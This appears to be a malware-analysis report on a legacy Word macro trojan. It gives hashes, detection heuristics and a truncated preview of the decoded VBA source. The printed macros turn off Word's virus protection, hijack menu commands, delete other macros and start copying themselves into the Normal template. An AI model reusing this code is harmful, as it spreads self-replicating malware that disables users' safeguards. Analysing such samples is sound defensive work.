Legacy.Trojan.Agent-34741 — Office (OLE) malware analysis

Static analysis result for SHA-256 4fd72e6e6fdbc5cf…

MALICIOUS

Office (OLE)

51.5 KB Created: 2001-03-30 09:28:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 11693161339fab44398cd650ef3b89ab SHA-1: 97520315ec7f7b7604bf5d972eb5ca65115e870e SHA-256: 4fd72e6e6fdbc5cf1331da93e2eadc65a77ba7275c073d17a632e8cdc44771c5
200 Risk Score

Malware Insights

Legacy.Trojan.Agent-34741 · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic

The sample exhibits high-severity heuristic firings for legacy WordBasic macro virus markers and VBA macros, specifically AutoOpen and Auto_Close. The presence of these elements strongly suggests the document is designed to execute malicious code automatically. ClamAV detection confirms its classification as Legacy.Trojan.Agent-34741.

Heuristics 5

  • ClamAV: Legacy.Trojan.Agent-34741 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Legacy.Trojan.Agent-34741
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 22505 bytes
SHA-256: 51fa16eab115ebc5d091cfa681cd9aec7d0fdbc48126b4f101bffa4420e59452
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "fmee"
Attribute VB_Base = "0{DA571C3D-24FF-11D5-BD50-005056C31397}{DA571C32-24FF-11D5-BD50-005056C31397}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
































Private Sub ListBox1_Click()

End Sub

Private Sub Command1_Click()
Me.Height = 330
End Sub

Private Sub CommandButton1_Click()
Me.Height = 180
End Sub

Private Sub Label1_Click()

End Sub

Private Sub UserForm_Activate()
Me.Height = 180
End Sub

Private Sub UserForm_Click()

End Sub

Private Sub UserForm_MouseMove(ByVal Button As Integer, ByVal Shift As Integer, ByVal X As Single, ByVal Y As Single)
Dim r As Integer
Dim g As Integer
Dim b As Integer
If Label1.Font.Size = 26 Then
    Label1.Font.Size = 20
Else
    Label1.Font.Size = 26
End If
Randomize
r = Rnd * 255
g = Rnd * 255
b = Rnd * 255
Label1.ForeColor = RGB(r, g, b)

Randomize
r = Rnd * 255
g = Rnd * 255
b = Rnd * 255
Label2.ForeColor = RGB(r, g, b)
Randomize
r = Rnd * 255
g = Rnd * 255
b = Rnd * 255
Label3.ForeColor = RGB(r, g, b)
Randomize
r = Rnd * 255
g = Rnd * 255
b = Rnd * 255
Label4.ForeColor = RGB(r, g, b)


End Sub

Private Sub UserForm_Terminate()
MsgBox "˘ÍÍŔŃÂ㹤ÇŇÁäÁčĘдǡ ˘ÍăËéÁŐ¤ÇŇÁĘآąĐ", vbExclamation + vbOKOnly
Application.Quit
End Sub

Attribute VB_Name = "BMSING"
' ##### ŕ͡ÇԷ¡ŇäÍÁľÔÇŕµÍĂě ʶҺѹĂŇŞŔѯྪúŮĂłě #####
' ąŃˇČÖˇÉŇ »ŐˇŇĂČÖˇÉŇ 2540
' ·´ĘÍşˇŇĂŕ˘ŐÂąÁŇâ¤Ă
' ÁŇâ¤Ăáá "Happy birthday to me "
Sub ShowMessage()
    H = Time
    If (WeekDay(Date) = vbFriday Or WeekDay(Date) = vbSunday) And Time < TimeValue("21:00:00") Then
    For I = 1 To 100
        Beep
    Next I
  MsgBox "·´ĘÍşˇŇĂŕ˘ŐÂąâ»ĂáˇĂÁŕ·čŇąŃéą", vbExclamation + vbOKOnly, "ʶҺѹĂŇŞŔѪྪúŮĂłě"
    End If
End Sub
Sub ViewVbCode()
    MsgBox "äÁč͹حҵÔăËé·ÓĂŇ¡ŇĂąŐé ¤ŘłäÁčÍÂҡ·ÓÍÂŮčáĹéÇąŐčąŇ", vbExclamation

End Sub


Sub Bablas()
Attribute Bablas.VB_Description = "Macro created 10/02/99 by  Abdul Aziz"
Attribute Bablas.VB_ProcData.VB_Invoke_Func = "Normal.NewMacros.Cegat"
    Options.SaveNormalPrompt = False
    Options.VirusProtection = False
    Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()

End Sub

Sub HelpAbout()
 MsgBox "äÁčĂŮéŕËĂÍ ÇčҵԴäÇĂŃĘÁŇąĐ", vbExclamation, "¤ÍÁ'40 ĂŇŞŔѯྪúٳě"
End Sub

Sub ToolsOptions()
    Options.SaveNormalPrompt = True
    Options.SavePropertiesPrompt = True
    Options.VirusProtection = True
    Dialogs(wdDialogToolsOptions).Show
    Bablas
End Sub

Sub ChangeCap()
    On Error Resume Next
    Application.Caption = "PETLAKORN HACKER  "
    ActiveWindow.Caption = "¨ŇˇËąŘčÁྪĂĹФĂ"
End Sub

Sub RestoreCap()
    On Error Resume Next
    Application.Caption = "Microsoft Word"
    ActiveWindow.Caption = ActiveDocument.Name
End Sub

Sub OpenMyMacro()
    If InputBox("Enter password", "PETLAKORN Hacker") = "boonmee" Then Application.ShowVisualBasicEditor = True
End Sub

Sub TidDoc()
    Dim Ok As Boolean
    Ok = False
    For Each Obj In ActiveDocument.VBProject.VBComponents
        If Obj.Name = "BMSING" Then Ok = True
        If Obj.Name <> "BMSING" And Obj.Name <> "ThisDocument" And Obj.Name <> "fmee" Then
            Application.StatusBar = "Deleting " + Obj.Name + _
            " Macro in " + ActiveDocument.Name + "..."
            Application.OrganizerDelete Source:=ActiveDocument.FullName, _
            Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
        End If
    Next Obj
    If Ok = False Then
        Application.StatusBar = "äÇĂŃʡÓĹѧ ˇĐ´Öęş ˇĐ´Öęşŕ˘éŇŕ¤Ă×čͧ¤ŘłáĹéÇ"
        
                
         Application.OrganizerCopy Source:=NormalTemplate.FullName, _
      
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.